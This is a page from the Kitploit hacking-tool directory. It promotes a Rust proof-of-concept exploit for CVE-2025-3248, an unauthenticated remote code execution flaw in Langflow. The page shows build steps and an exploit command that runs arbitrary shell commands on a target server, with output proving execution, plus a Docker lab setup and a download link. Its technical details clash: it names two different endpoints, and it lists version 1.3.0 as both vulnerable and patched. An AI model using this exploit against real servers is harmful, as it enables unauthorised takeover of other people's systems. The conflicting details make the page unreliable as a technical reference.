Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3248-POC — Rust-based proof-of-concept exploit for CVE-2025-3248, a critical unauthenticated RCE in Langflow via /api/v1/validate/code, allowing arbitrary command execution. | Kitploit
Tools/GitHubGitHub/b0ysie7e/cve-2025-3248-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubb0ysie7e/cve-2025-3248-poc

CVE-2025-3248-POC

Rust-based proof-of-concept exploit for CVE-2025-3248, a critical unauthenticated RCE in Langflow via /api/v1/validate/code, allowing arbitrary command execution.

View Repository
19 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Langflow RCE Exploit - CVE-2025-3248

⚠️ Disclaimer
This code is strictly intended for educational and research purposes only. Unauthorized use on systems without explicit permission may constitute a violation of the law.
The author is not responsible for any misuse or malicious activity involving this tool.


Vulnerability Information

CVE-2025-3248 - Critical

CVSS Score: 9.8 | EPSS Score: 92.57% | Published: May 22, 2025

Affected Versions

  • Vulnerable: All versions ≤ v1.3.0
  • Patched: Versions v1.3.0+

Attack Vector

The endpoint /api/v1/validate/code accepts unsanitized Python code and executes it directly with exec(), requiring no authentication.

Vulnerable Code
root@kitploit:~
# langflow/api/builder/execute.py
exec(code)  # No input validation or sandboxing!

Technical Breakdown

Langflow exposes a /api/v1/builder/execute_code endpoint that takes user-supplied Python code and passes it directly to exec() on the backend. Since there's no authentication or sandboxing, attackers can craft arbitrary payloads for code execution.

Execute exploit

Requirements

  • Rust 1.70+ (install via rustup)
  • Cargo (Rust package manager)
root@kitploit:~
# Clone repository
git clone <repo-url>
cd CVE-2025-3248-POC

cargo build --release

# ./target/release/CVE-2025-3248-POC
root@kitploit:~
./CVE-2025-3248-POC --url <BASE_URL> --command "<COMMAND>"

Example:

root@kitploit:~
❯ ./target/release/CVE-2025-3248-POC --url 'http://192.168.159.137:7860' --command 'id'
[+] Langflow RCE Exploit - CVE-2025-3248
[+] url :http://192.168.159.137:7860, 
[+] Command: id
Status: 200 OK
uid=1000(user) gid=0(root) groups=0(root)   

Local Lab Setup

Quick Start

root@kitploit:~
> cd lab
> sudo docker-compose up -d

> ./target/release/CVE-2025-3248-POC --url 'http://localhost:7860' --command 'whoami'

Stop Lab

root@kitploit:~
> sudo docker-compose down
Download Tool